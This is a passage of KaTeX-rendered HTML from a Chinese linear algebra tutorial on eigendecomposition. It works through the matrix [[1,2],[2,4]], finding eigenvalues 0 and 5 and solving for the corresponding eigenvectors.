class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span>，并将对应的特征值组成对角矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Λ</mi><mo>=</mo><mi>d</mi><mi>i</mi><mi>a</mi><mi>g</mi><mo stretchy="false">(</mo><msub><mi>λ</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>λ</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>λ</mi><mi>n</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> \Lambda = diag(\lambda_1, \lambda_2, \ldots, \lambda_n) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">ia</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p></li></ol><p>比如 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>S</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>4</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> S = \begin{bmatrix} 1 &amp; 2 \\ 2 &amp; 4 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p></p><ol><li><p>求解特征多项式，得到特征值 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>1</mn></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> \lambda_1 = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>2</mn></msub><mo>=</mo><mn>5</mn></mrow><annotation encoding="application/x-tex"> \lambda_2 = 5 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>。</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>1</mn><mo>−</mo><mi>λ</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>4</mn><mo>−</mo><mi>λ</mi></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mo stretchy="false">(</mo><mn>1</mn><mo>−</mo><mi>λ</mi><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mn>4</mn><mo>−</mo><mi>λ</mi><mo stretchy="false">)</mo><mo>−</mo><mn>4</mn><mo>=</mo><msup><mi>λ</mi><mn>2</mn></msup><mo>−</mo><mn>5</mn><mi>λ</mi><mo>=</mo><mi>λ</mi><mo stretchy="false">(</mo><mi>λ</mi><mo>−</mo><mn>5</mn><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">det \begin{bmatrix} 1 - \lambda &amp; 2 \\ 2 &amp; 4 - \lambda \end{bmatrix} = (1 - \lambda)(4 - \lambda) - 4 = \lambda^2 - 5\lambda = \lambda(\lambda - 5) = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">λ</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">λ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord">4</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9474em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">5</span><span class="mord mathnormal">λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mopen">(</span><span class="mord mathnormal">λ</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">5</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p></li><li><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>1</mn></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> \lambda_1 = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，求解 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>S</mi><mo>−</mo><mn>0</mn><mi>I</mi><mo stretchy="false">)</mo><mi>x</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> (S - 0I)x = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>4</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>1</mn></msub></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>2</mn></msub></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">\begin{bmatrix} 1 &amp; 2 \\ 2 &amp; 4 \end{bmatrix} \begin{bmatrix} x_1 \\ x_2 \end{bmatrix} = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p>解得特征向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>1</mn></msub><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> x_1 = \begin{bmatrix} 2 \\ -1 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span>。</p><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>2</mn></msub><mo>=</mo><mn>5</mn></mrow><annotation encoding="application/x-tex"> \lambda_2 = 5 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>，求解 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>S</mi><mo>−</mo><mn>5</mn><mi>I</mi><mo stretchy="false">)</mo><mi>x</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> (S - 5I)x = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">5</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>4</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>1</mn></msub></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>2</mn></msub></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">\begin{bmatrix} -4 &amp; 2 \\ 2 &amp; -1 \end{bmatrix} \begin{bmatrix} x_1 \\ x_2 \end{bmatrix} = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">4</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p>解得特征向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>2</mn></msub><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" 